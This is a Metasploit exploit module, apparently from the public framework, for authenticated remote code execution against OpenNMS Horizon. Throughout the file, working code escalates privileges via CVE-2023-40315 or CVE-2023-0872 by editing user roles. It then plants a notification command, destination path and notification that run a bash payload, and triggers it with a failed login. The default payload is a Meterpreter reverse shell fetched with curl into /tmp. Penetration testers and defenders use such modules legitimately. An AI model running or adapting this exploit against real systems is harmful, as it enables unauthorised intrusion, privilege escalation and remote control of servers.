##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenNMS Horizon Authenticated RCE',
'Description' => %q{
This module exploits built-in functionality in OpenNMS
Horizon in order to execute arbitrary commands as the
opennms user. For versions 32.0.2 and higher, this
module requires valid credentials for a user with
ROLE_FILESYSTEM_EDITOR privileges and either
ROLE_ADMIN or ROLE_REST.
For versions 32.0.1 and lower, credentials are
required for a user with ROLE_FILESYSTEM_EDITOR,
ROLE_REST, and/or ROLE_ADMIN privileges. In that case,
the module will automatically escalate privileges via
CVE-2023-40315 or CVE-2023-0872 if necessary.
This module has been successfully tested against OpenNMS
version 31.0.7
},
'License' => MSF_LICENSE,
'Author' => [
'Erik Wynter' # @wyntererik - Discovery and Metasploit
],
'References' => [
['CVE', '2023-40315'], # CVE for privilege escalation via ROLE_FILESYSTEM_EDITOR in OpenNMS Horizon before 32.0.2
['CVE', '2023-0872'], # CVE for privilege escalation via ROLE_REST in OpenNMS Horizon before 32.0.2
],
'Platform' => 'linux',
'Arch' => 'ARCH_CMD',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'RPORT' => 8980,
'SRVPORT' => 8080,
'FETCH_COMMAND' => 'CURL',
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4),
'FETCH_WRITABLE_DIR' => '/tmp',
'FETCH_SRVPORT' => 8081,
'WfsDelay' => 15 # It takes a while for the payload to execute
},
'Targets' => [ [ 'Linux', {} ] ],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => '2023-07-01',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('TARGETURI', [true, 'The base path to OpenNMS', '/opennms/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin'])
]
register_advanced_options [
OptInt.new('PRIVESC_SAVE_DELAY', [true, 'The time in seconds to wait for privesc changes to go into effect.', 3])
]
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def privesc_save_delay
datastore['PRIVESC_SAVE_DELAY']
end
def notification_commands_file
'notificationCommands.xml'
end
def destination_paths_file
'destinationPaths.xml'
end
def notifications_file
'notifications.xml'
end
def users_file
'users.xml'
end
def check
# Try to authenticate
success, msg_or_check_code = opennms_login('check')
return msg_or_check_code unless success
vprint_status(msg_or_check_code)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.jsp'),
'keep_cookies' => true
})
unless res
return CheckCode::Unknown('Connection failed.')
end
# If we are authenticating as a user without dashboard privileges, the response code will be 403, so we can't use this
# Instead, we should simply check if the HTLM body includes the expected title and version information
unless res.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')
return CheckCode::Detected('Failed to access the OpenNMS Web Console after authentication.')
end
# Based on the version history (https://www.opennms.com/version-history/) all OpenNMS Horizon versions follow the \d+\.\d+\.\d+ pattern
version = res.body.scan(/- Version: (\d+\.\d+\.\d+)$/)&.flatten&.first
if version.blank?
return CheckCode::Detected('Failed to obtain a valid OpenNMS version.')
end
begin
rex_version = Rex::Version.new(version)
rescue ArgumentError => e
return CheckCode::Unknown("Failed to obtain a valid OpenNMS version: #{e}")
end
if rex_version < Rex::Version.new('32.0.2')
print_status("The target is OpenNMS version #{version} and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.")
else
print_status("The target is OpenNMS version #{version}.")
end
# Check if we can access the user configuration file. There are two ways to do this:
# - Via the /rest/users endpoint. This is possible only for users with ROLE_ADMIN and ROLE_REST privileges.
# - Via /rest/filesystem/contents?f=users.xml. This is possible only for users with ROLE_FILESYSTEM_EDITOR privileges.
# If neither of these work for us, RCE won't be possible.
success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check', filesystem: false) # try the REST endpoint first
unless success
success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check') # try the filesystem endpoint next
return xml_doc_or_check_code unless success # in this case xml_doc_or_check_code is a CheckCode so we can return it directly
end
# Extract the privileges of the current user
success, privs_or_check_code = grab_user_privs(xml_doc_or_check_code, 'check')
return privs_or_check_code unless success
# Successful exploitation requires the user to have FILESYSTEM_EDITOR privileges as well as either REST or ADMIN privileges
if privs_or_check_code.include?('ROLE_FILESYSTEM_EDITOR')
if privs_or_check_code.include?('ROLE_REST') || privs_or_check_code.include?('ROLE_ADMIN')
# We don't need to escalate privileges here
@highest_priv = 'GOD'
return CheckCode::Appears("User #{username} has the required privileges for exploitation to work without privilege escalation.")
end
@highest_priv = 'ROLE_FILESYSTEM_EDITOR'
elsif privs_or_check_code.include?('ROLE_ADMIN')
@highest_priv = 'ROLE_ADMIN'
return CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via privilege escalation to ROLE_FILESYSTEM_EDITOR.")
elsif privs_or_check_code.include?('ROLE_REST')
@highest_priv = 'ROLE_REST'
else
return CheckCode::Safe("User #{username} does not have the required privileges for exploitation to work.")
end
# If we are here, we have ROLE_FILESYSTEM_EDITOR privileges or ROLE_REST privileges, but not both and not ROLE_ADMIN
# This means that privilege escalation is required, which can work only if the OpenNMS version is 32.0.1 or lower
if rex_version >= Rex::Version.new('32.0.2')
return CheckCode::Detected("Exploitation requires privilege escalation, which is not possible for OpenNMS version #{version}.")
end
cve = if @highest_priv == 'ROLE_FILESYSTEM_EDITOR'
'CVE-2023-40315'
else
'CVE-2023-0872'
end
CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via #{cve}.")
end
# This method is use to handle failures based on the stage of the exploit
#
# @param mode [String] The mode to use: check, exploit or cleanup
# @param message [String] The message to display to the user
# @param status [String] The status to use: disconnected, unexpected_reply or no_access
# @return [Array] An array containing a boolean and a CheckCode or message
def deal_with_failure_by_mode(mode, message, status)
return [false, "#{message}. Manual cleanup is required."] if mode == 'cleanup'
case status
when 'disconnected'
return [false, CheckCode::Unknown(message)] if mode == 'check'
fail_with(Failure::Disconnected, message)
when 'unexpected_reply'
return [false, CheckCode::Unknown(message)] if mode == 'check'
fail_with(Failure::UnexpectedReply, message)
when 'no_access'
return [false, CheckCode::Safe(message)] if mode == 'check'
fail_with(Failure::NoAccess, message)
end
end
# This method is used to perform a login attempt
#
# @param mode [String] The mode to use: check, exploit or cleanup
# @param perform_invalid_login [Boolean] Whether to perform a login attempt with random credentials or not
# @return [Array] An array containing a boolean and a CheckCode or message
def opennms_login(mode, perform_invalid_login: false)
if perform_invalid_login
user = Rex::Text.rand_text_alpha(8..12)
pass = Rex::Text.rand_text_alpha(8..12)
keep_cookies = false
else
user = username
pass = password
keep_cookies = true
res1 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
'keep_cookies' => keep_cookies
})
unless res1
return deal_with_failure_by_mode(mode, 'Connection failed.', 'disconnected')
end
unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenNMS Web Console')
msg = if mode == 'check'
'Target is not an OpenNMS application.'
else
'Received unexpected response while attempting to access the OpenNMS Web Console.'
end
return deal_with_failure_by_mode(mode, msg, 'unexpected_reply')
end
end
# Try to authenticate
res2 = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
'keep_cookies' => keep_cookies,
'vars_post' => {
'j_username' => user,
'j_password' => pass
}
})
unless res2
if perform_invalid_login
return [false, "Connection failed while attempting to trigger the notification. The payload likely wasn't executed."]
else
return deal_with_failure_by_mode(mode, 'Connection failed while attempting to authenticate.', 'disconnected')
end
end
unless res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')
if perform_invalid_login
return [true, 'Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.']
else
message = if mode == 'check'
'Authentication failed. Please check your credentials.'
else
'Received unexpected response while attempting to authenticate.'
end
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')
end
end
# Authentication was successful
if perform_invalid_login
return [false, "Received unexpected response while attempting to trigger the notification. The payload likely wasn't executed."]
end
[true, 'Successfully authenticated']
end
# This method is used to obtain and parse an XML configuration file from the target via the filesystem endpoint
#
# @param file_name [String] The name of the file to obtain
# @param root_element [String] The name of the root element in the XML file
# @param element [String] The name of the element to obtain from the XML file
# @param mode [String] The mode to use: check, exploit or cleanup. This is used to determine how to proceed upon failure
# @param filesystem [Boolean] Whether to use the filesystem endpoint or not. If not, the file_name will be used as the REST endpoint
# @return [Array] An array containing a boolean and either a CheckCode, a message or a Nokogiri::XML::Document
def grab_and_parse_xml_config_file(file_name, root_element, element, mode, filesystem: true)
request_hash = {
'method' => 'GET',
'keep_cookies' => true
}
if filesystem
request_hash['uri'] = normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents')
request_hash['vars_get'] = { 'f' => file_name }
else
request_hash['uri'] = normalize_uri(target_uri.path, 'rest', file_name)
end
# Try to obtain the file
res = send_request_cgi(request_hash)
unless res
return deal_with_failure_by_mode(mode, "Connection failed while attempting to obtain the current #{file_name} file.", 'disconnected')
end
# when using the filesystem endpoint to obtain the users.xml file, the root element is userinfo, which contains the users element
if file_name == users_file
if filesystem
filesystem_root_element = 'userinfo'
else
filesystem_root_element = 'users'
end
else
filesystem_root_element = root_element
end
unless res.code == 200 && res.body.strip.end_with?("</#{filesystem_root_element}>")
return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to obtain the #{file_name} file. User #{username} my lack the required privileges.", 'unexpected_reply')
end
# Parse the file
begin
doc = Nokogiri::XML(res.body)
elements = doc&.at_css(root_element)&.css(element)&.map { |e| e&.text }
rescue Nokogiri::XML::SyntaxError => e
return deal_with_failure_by_mode(mode, "Failed to parse the #{file_name} file: #{e}", 'unexpected_reply')
end
if elements.blank?
return deal_with_failure_by_mode(mode, "No #{element} elements were found in the #{file_name} file.", 'unexpected_reply')
end
[true, doc]
end
# This method is used to obtain the privileges of a user from the users.xml file
#
# @param xml_doc [Nokogiri::XML::Document] The XML document containing the users
# @param mode [String] The mode to use: check, exploit or cleanup
# @return [Array] An array containing a boolean and a CheckCode, message, or an array of privileges
def grab_user_privs(xml_doc, mode)
privileges = []
begin
user = xml_doc&.at_css('users')&.css('user')&.find { |u| u.at_css('user-id')&.text == username }
if user.blank?
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. User #{username} was not found.", 'unexpected_reply')
end
privileges = user.css('role')&.map { |r| r&.text }
if privileges.blank?
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. No roles were found for user #{username}.", 'unexpected_reply')
end
rescue Nokogiri::XML::SyntaxError => e
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file: #{e}", 'unexpected_reply')
end
vprint_status("User #{username} has the following privileges: #{privileges.join(' ')}")
[true, privileges]
end
# This method is used to escalate or deescalate privileges
#
# @param deescalate [Boolean] Whether to escalate or deescalate privileges
# @return [Array] An array containing a boolean and a CheckCode or message
def escalate_or_deescalate_privs(deescalate: false)
# Establish some variables based on if we need to escalate or deescalate privileges
if deescalate
use_filesystem = @role_to_add != 'ROLE_FILESYSTEM_EDITOR'
mode = 'cleanup'
else
use_filesystem = @highest_priv == 'ROLE_FILESYSTEM_EDITOR'
mode = 'exploit'
end
# grab and parse the users.xml file
success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)
return [false, xml_doc_or_msg] unless success
# Get the privileges of the current user as a sanity check
success, privileges_or_msg = grab_user_privs(xml_doc_or_msg, mode)
return [false, privileges_or_msg] unless success
# if we are here to remove privileges, check if we actually have the privileges we want to remove. return otherwise
if deescalate && privileges_or_msg.exclude?(@role_to_add)
return [false, 'Did not find the required privileges to deescalate. Manual cleanup may be required.']
end
# if we need to escalate privileges, check if we already have the privileges we want to escalate to. return otherwise
unless deescalate
if use_filesystem
if privileges_or_msg.include?('ROLE_ADMIN') || privileges_or_msg.include?('ROLE_REST')
# We don't need to escalate privileges here
@highest_priv = 'GOD'
return [true]
end
@role_to_add = 'ROLE_ADMIN'
else
if privileges_or_msg.include?('ROLE_FILESYSTEM_EDITOR')
# We don't need to escalate privileges here
@highest_priv = 'GOD'
return [true]
end
@role_to_add = 'ROLE_FILESYSTEM_EDITOR'
end
end
# Add or remove the required role to the current user
if use_filesystem
# If we have ROLE_FILESYSTEM_EDITOR privileges, we can use the filesystem endpoint to add or remove the required role
begin
user = xml_doc_or_msg.at_css('users').css('user').find { |u| u.at_css('user-id')&.text == username }
if user.blank?
message = "Did not find the current user in the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges."
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')
end
if deescalate
role = user.css('role').find { |r| r.text == @role_to_add }
if role.blank?
return [false, 'Failed to parse the users.xml file while attempting to deescalate privileges. Manual cleanup is required.']
end
role.remove
else
user.add_child(xml_doc_or_msg.create_element('role', @role_to_add))
end
rescue Nokogiri::XML::SyntaxError => e
return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges: #{e}", 'unexpected_reply')
end
# upload the edited users.xml file via the filesystem endpoint
success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode)
unless deescalate
# If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved
print_status("Waiting #{privesc_save_delay} seconds for the changes to be saved...")
sleep(privesc_save_delay)
end
return [false, message] unless success # this is only used for cleanup. for exploit this cannot happen
else
# If we do not have FILESYSTEM_EDITOR privileges, we can use the REST endpoint to do this
# /users/{username}/roles/{rolename} with PUT to add a role and DELETE to remove a role
res = send_request_cgi({
'method' => deescalate ? 'DELETE' : 'PUT',
'uri' => normalize_uri(target_uri.path, 'rest', 'users', username, 'roles', @role_to_add),
'keep_cookies' => true
}, 2) # for some reason the server does not send a response when this request is performed via Ruby, but it does tend to work. When sending the same request via Burp suite, the server did respond.
# 204 = no content, 304 = not modified. 204 indicates success, 304 indicates that the role was already added/removed
if res && ![204, 304].include?(res.code)
return deal_with_failure_by_mode(mode, "Received unexpected reply while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges", 'unexpected_reply')
end
end
# Get the users.xml file again to make sure our changes were saved
success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem)
return [false, xml_doc_or_msg] unless success # this is only used for cleanup. for exploit this cannot happen
# Get the privileges of the current user again to make sure our changes were saved
success, privs_or_msg = grab_user_privs(xml_doc_or_msg, mode)
return [false, privs_or_msg] unless success
# Check if our changes were saved
if deescalate
if privs_or_msg.include?(@role_to_add)
return [false, 'Failed to deescalate privileges. Manual cleanup is required.']
end
return [true, "Successfully deescalated privileges by removing #{@role_to_add}"]
end
# If we are here, we are escalating privileges
unless privs_or_msg.include?(@role_to_add)
fail_with(Failure::UnexpectedReply, 'Failed to escalate privileges')
end
@highest_priv = 'GOD'
[true, "Successfully escalated privileges by adding #{@role_to_add}"]
end
# This method is used to generate the XML document that will be used to add a notification command
#
# @param file_name [String] The name of the file to upload
# @param xml_doc [Nokogiri::XML::Document] The XML document to upload
# @return [Rex::MIME::Message] The post data
def generate_post_data(file_name, data_to_write)
post_data = Rex::MIME::Message.new
post_data.add_part(data_to_write, 'text/xml', nil, "form-data; name=\"upload\"; filename=\"#{file_name}\"")
post_data
end
# This method is used to upload an XML configuration file to the target
#
# @param file_name [String] The name of the file to upload
# @param post_data [Rex::MIME::Message] The post data to upload
# @param mode [String] The mode to use: exploit or cleanup
# @return [Array] An array containing a boolean and an optional message
def upload_xml_config_file(file_name, post_data, mode = 'exploit')
# upload the edited notificationCommands.xml file
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
'vars_get' => { 'f' => file_name },
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'keep_cookies' => true,
'data' => post_data.to_s
})
unless res
return deal_with_failure_by_mode(mode, "Connection failed while attempting to upload the #{file_name} file", 'disconnected')
end
unless res.code == 200 && res.body.include?('Successfully wrote to')
return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to upload the #{file_name} file", 'unexpected_reply')
end
[true]
end
def find_element_via_at_css(file_name)
if [destination_paths_file, notifications_file].include?(file_name)
return false
end
true
end
# This method is used to edit an XML configuration file
#
# @param file_name [String] The name of the file to edit
# @param root_element [String] The name of the root element in the XML file
# @param element [String] The name of the element to edit in the XML file
def edit_xml_config_file(file_name, root_element, element)
# First we need to get the current #{file_name} file, so we can edit our #{element_name} in it
_success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')
# update the xml document with a new element
new_value = Rex::Text.rand_text_alpha(8..12)
case file_name
when notification_commands_file
xml_doc = add_notification_command(xml_doc, new_value)
when destination_paths_file
xml_doc = add_destination_path(xml_doc, new_value)
when notifications_file
xml_doc = add_notification(xml_doc, new_value)
end
# upload the edited #{file_name} file via the filesystem endpoint
upload_xml_config_file(file_name, generate_post_data(file_name, xml_doc.to_xml(indent: 3)), 'exploit')
# generate global variables for cleanup
case file_name
when notification_commands_file
@notification_command_name = new_value
when destination_paths_file
@destination_path_name = new_value
when notifications_file
@notification_name = new_value
end
# Get the #{file_name} file again to make sure our #{element_name} was edited
_success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')
# Check if our #{element_name} was edited
if find_element_via_at_css(file_name)
full_element = xml_doc.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == new_value }
else
full_element = xml_doc.at_css(root_element).css(element).find { |e| e['name'] == new_value }
end
if full_element.blank?
fail_with(Failure::UnexpectedReply, "Failed to verify that the #{file_name} file was successfully edited")
end
print_status("Successfully edited #{file_name}")
end
# This method is used to add a notification command to a Nokogiri XML document
#
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification command to
# @param notification_command_name [String] The name of the notification command to add
# @return [Nokogiri::XML::Document] The updated XML document
def add_notification_command(xml_doc, notification_command_name)
# A notification command is a command that gets executed when a notification is triggered. We can use this to execute our payload.
# Update the xml document with a new notification command
notification_comment = Rex::Text.rand_text_alpha(6..10)
notification_command = xml_doc.create_element('command', 'binary' => 'true') # Change binary attribute value if needed
name = xml_doc.create_element('name', notification_command_name)
execute = xml_doc.create_element('execute', '/usr/bin/bash')
comment = xml_doc.create_element('comment', notification_comment)
argument = xml_doc.create_element('argument', 'streamed' => 'false')
argument_switch = xml_doc.create_element('substitution', "/usr/share/opennms/etc/#{@payload_file_name}")
argument.add_child(argument_switch)
notification_command.add_child(name)
notification_command.add_child(execute)
notification_command.add_child(comment)
notification_command.add_child(argument)
xml_doc.at_css('notification-commands').add_child(notification_command)
xml_doc
end
# This method is used to add a destination path to a Nokogiri XML document
#
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the destination path to
# @param destination_path_name [String] The name of the destination path to add
# @return [Nokogiri::XML::Document] The updated XML document
def add_destination_path(xml_doc, destination_path_name)
# A destination path points to a specific group or user that will receive a notification when a notification is triggered.
# It also indicates which notification command should be executed when the notification is triggered.
# We need to add a destination path that points to our notification command so that it gets executed when a notification is triggered.
# Update the xml document with a new destination path
destination_path = xml_doc.create_element('path', 'name' => destination_path_name)
target = xml_doc.create_element('target')
name = xml_doc.create_element('name', 'Admin')
command = xml_doc.create_element('command', @notification_command_name)
target.add_child(name)
target.add_child(command)
destination_path.add_child(target)
xml_doc.at_css('destinationPaths').add_child(destination_path)
xml_doc
end
# This method is used to add a notification to a Nokogiri XML document
#
# @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification to
# @param notification_name [String] The name of the notification to add
# @return [Nokogiri::XML::Document] The updated XML document
def add_notification(xml_doc, notification_name)
# A notification is triggered when a specific event occurs, and can be configured to call a specific destination path.
# We need to add a notification that will trigger our destination path so that our notification command gets executed.
# Update the xml document with a new notification that will be triggered when a user fails to authenticate
# since that is something we can easily trigger ourselves
notification_message = Rex::Text.rand_text_alpha(6..10)
notification = xml_doc.create_element('notification', 'name' => notification_name, 'status' => 'on')
uei = xml_doc.create_element('uei', 'uei.opennms.org/internal/authentication/failure')
# We need to add a rule for the IP. Let's use a negative comparison with a non-routable IP, which will always work (see RFC 5737)
rule = xml_doc.create_element('rule', "IPADDR != '192.0.2.#{rand(0..255)}'")
destination_path = xml_doc.create_element('destinationPath', @destination_path_name)
text_message = xml_doc.create_element('text-message', notification_message)
notification.add_child(uei)
notification.add_child(rule)
notification.add_child(destination_path)
notification.add_child(text_message)
xml_doc.at_css('notifications').add_child(notification)
xml_doc
end
# This method is used to remove an element from an XML configuration file
#
# @param file_name [String] The name of the file to remove the element from
# @param root_element [String] The name of the root element in the XML file
# @param element [String] The name of the element to remove from the XML file
# @param element_to_remove [String] The name of the element to remove from the XML file
def revert_xml_config_file(file_name, root_element, element, element_to_remove)
# First we need to get the current #{file_name} file, so we can remove our #{element_name} from it
success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')
unless success
print_error(xml_doc_or_msg)
return
end
begin
if find_element_via_at_css(file_name)
full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == element_to_remove }
else
full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e['name'] == element_to_remove }
end
unless full_element.present?
print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required")
return
end
full_element.remove
rescue Nokogiri::XML::SyntaxError
print_error("Failed to parse the #{file_name} file while attempting to remove #{element_to_remove}. Manual cleanup is required.")
return
end
# generate post data
post_data = generate_post_data(file_name, xml_doc_or_msg.to_xml(indent: 3))
success, message = upload_xml_config_file(file_name, post_data, 'cleanup')
unless success
print_error(message)
return
end
# Get the #{file_name} file again to make sure our #{element_name} was removed
success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')
unless success
print_error(xml_doc_or_msg)
return
end
# Check if our #{element_name} was removed
if xml_doc_or_msg.at_css(root_element).css(element).map { |e| e.at_css('name')&.text }.include?(element_to_remove)
print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required.")
else
vprint_status("Successfully removed #{element_to_remove} from #{file_name}")
end
end
# This method is used to trigger a reload of the OpenNMS configuration
#
# @param mode [String] The mode to use: exploit or cleanup
# @return [Array] An array containing a boolean and a message
def update_configuration(mode)
# We need to update the configuration in order for our changes to take effect
xml_doc = Nokogiri::XML::Builder.new do |xml|
xml.event('xmlns' => 'http://xmlns.opennms.org/xsd/event') do
xml.uei('uei.opennms.org/internal/reloadDaemonConfig')
xml.source('perl_send_event')
xml.time(Time.now.strftime('%Y-%m-%dT%H:%M:%S%:z'))
xml.host(Rex::Text.rand_text_alpha(8..12))
xml.parms do
xml.parm do
xml.parmName('daemonName')
xml.value('Notifd', { 'type' => 'string', 'encoding' => 'text' })
end
end
end
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'events'),
'ctype' => 'application/xml',
'keep_cookies' => true,
'data' => xml_doc.to_xml(indent: 3)
})
unless res
message = 'Connection failed while attempting to update the configuration.'
message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'
return deal_with_failure_by_mode(mode, message, 'disconnected')
end
unless res.code == 202
message = 'Received unexpected response while attempting to update the configuration.'
message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'
return deal_with_failure_by_mode(mode, message, 'unexpected_reply')
end
[true, 'Successfully updated the configuration']
end
# This method is used to write the payload to a .bsh file and trigger the notification
#
# @param cmd [String] The command to execute
def write_payload_to_bsh_file(cmd)
# We need to write our payload to a .bsh file so that it can be executed by the notification command
post_data = generate_post_data(@payload_file_name, cmd)
res1 = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
'vars_get' => { 'f' => @payload_file_name },
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'keep_cookies' => true,
'data' => post_data.to_s
})
unless res1
fail_with(Failure::Disconnected, 'Connection failed while attempting to upload the payload file')
end
unless res1.code == 200 && res1.body.include?('Successfully wrote to')
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload file')
end
# Get the payload file again to make sure it was uploaded successfully
res2 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
'vars_get' => { 'f' => @payload_file_name },
'keep_cookies' => true
})
unless res2
fail_with(Failure::Disconnected, 'Connection failed while attempting to obtain the current payload file')
end
unless res2.code == 200 && res2.body == cmd
fail_with(Failure::UnexpectedReply, 'Failed to verify that the payload file was successfully uploaded')
end
print_good("Successfully uploaded the payload to #{@payload_file_name}")
@payload_written = true
end
def execute_command(cmd, _opts = {})
# Write the payload to a .bsh file
write_payload_to_bsh_file(cmd)
print_status('Triggering the notification to execute the payload')
# Trigger the notification by performing a login attempt using random credentials
success, message = opennms_login('exploit', perform_invalid_login: true)
if success
print_status(message)
else
print_error(message)
end
end
# Horizon installs with notifications globally disabled by default. This exploit depends on notification being enabled
# in order to obtain RCE. If notifications are disabled a user with administrative privileges is able to turn them on.
# https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html
def ensure_notifications_enabled
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.jsp'),
'keep_cookies' => true
})
fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res
if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty?
vprint_status('Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...')
res2 = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'),
'keep_cookies' => true,
'vars_post' => {
'status' => 'on'
}
})
fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')
end
vprint_good('Notifications are enabled')
end
def exploit
# Check if we need to escalate privileges
if @highest_priv && @highest_priv != 'GOD'
# This is not performed if the user has set FORCEEXPLOIT to true. In that case we'll just start the exploit chain and hope for the best.
_success, msg = escalate_or_deescalate_privs
print_good(msg) if msg.present? # _success will always be true here, otherwise we would have failed already
end
# Let's make sure we have a valid session by clearing the cookie jar and logging in again
# This will also ensure that any new privileges we may have added are applied
cookie_jar.clear
_success, message = opennms_login('exploit')
vprint_status(message) # _success will always be true here, otherwise we would have failed already
# Check to ensure Notifications are turned on. If they are disabled, enable them.
ensure_notifications_enabled
# Generate a random payload file name
@payload_file_name = "#{Rex::Text.rand_text_alpha(8..12)}.bsh".downcase
# Add a notification command
edit_xml_config_file(notification_commands_file, 'notification-commands', 'command')
# Add a destination path
edit_xml_config_file(destination_paths_file, 'destinationPaths', 'path')
# Add a notification
edit_xml_config_file(notifications_file, 'notifications', 'notification')
# Update the configuration changes we made
update_configuration('exploit')
# Write the payload and trigger the notification
execute_command(payload.encoded)
end
def cleanup
return if [@payload_file_name, @notification_name, @destination_path_name, @notification_command_name, @role_to_add].all?(&:blank?)
print_status('Attempting cleanup...')
# to be on the safe side, we'll clear the cookie jar and log in again
cookie_jar.clear
success, message = opennms_login('cleanup')
if success
vprint_status(message)
else
print_error(message)
return
end
# Delete the payload file
if @payload_file_name.present? && @payload_written
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),
'vars_get' => { 'f' => @payload_file_name },
'keep_cookies' => true
})
unless res
print_error("Connection failed while attempting to delete the payload file #{@payload_file_name}. Manual cleanup is required.")
return
end
unless res.code == 200 && res.body.include?('Successfully deleted')
print_error("Failed to delete the payload file #{@payload_file_name}. Manual cleanup is required.")
return
end
vprint_good("Successfully deleted the payload file #{@payload_file_name}")
end
# Delete the notification
revert_xml_config_file(notifications_file, 'notifications', 'notification', @notification_name) if @notification_name.present?
# Delete the destination path
revert_xml_config_file(destination_paths_file, 'destinationPaths', 'path', @destination_path_name) if @destination_path_name.present?
# Delete the notification command
revert_xml_config_file(notification_commands_file, 'notification-commands', 'command', @notification_command_name) if @notification_command_name.present?
# Update the configuration changes we made
success, message = update_configuration('cleanup')
if success
vprint_status(message)
else
print_error(message)
end
# Revert the privilege escalation if necessary
if @role_to_add.present?
success, message = escalate_or_deescalate_privs(deescalate: true)
if success
vprint_status(message)
else
print_error(message)
end
end
end
end